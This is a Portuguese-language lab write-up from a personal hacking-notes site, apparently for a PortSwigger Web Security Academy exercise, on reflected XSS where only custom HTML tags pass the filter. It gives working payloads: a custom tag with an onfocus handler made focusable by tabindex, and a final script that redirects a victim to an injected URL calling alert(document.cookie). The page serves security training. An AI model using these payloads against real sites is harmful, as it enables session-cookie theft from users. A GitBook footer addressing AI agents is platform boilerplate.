> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-with-custom-tags-only.md).

# XSS refletido com apenas tags personalizadas

### XSS refletido no contexto HTML com todas as tags bloqueadas, exceto as personalizadas

Esta aplicação bloqueia todas as tags HTML "clássicas"; apenas elementos personalizados são permitidos. O objetivo do laboratório é injetar uma tag personalizada que seja executada automaticamente `alert(document.cookie)` (aqui você quer roubar o cookie de sessão via o alert).

Observações e abordagem (reformulado)

* Como todas as tags padrão são filtradas, a técnica é definir/inserir uma tag personalizada que o navegador aceitará.
* Uma tag personalizada pode conter manipuladores de eventos — mas alguns eventos só ocorrem se o elemento puder receber foco.
* Itens personalizados não são focáveis por padrão; portanto, é necessário forçar o foco adicionando `tabindex=1` para que o evento relacionado seja executado ao interagir (por exemplo, clicando ou usando Tab).

<figure><img src="/files/6c74fc1f15f323c581b7618146faf3564de2a039" alt=""><figcaption></figcaption></figure>

1. Tag simples — não focável (não executa alert):

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. A mesma tag, tornada focável com `tabindex` — `onfocus` funciona:

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="/files/7f04998fc7b4bcf4163f9559c0312a5f454cdbdf" alt=""><figcaption></figcaption></figure>

Prova de conceito final (exfiltração via redirecionamento)

* Construímos uma URL que injeta a tag personalizada com um `onfocus` chamando `alert(document.cookie)` e forçamos o foco por `tabindex=1`.
* Exemplo de payload para enviar à vítima (injeção codificada em URL no `parâmetro de busca` parâmetro):

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
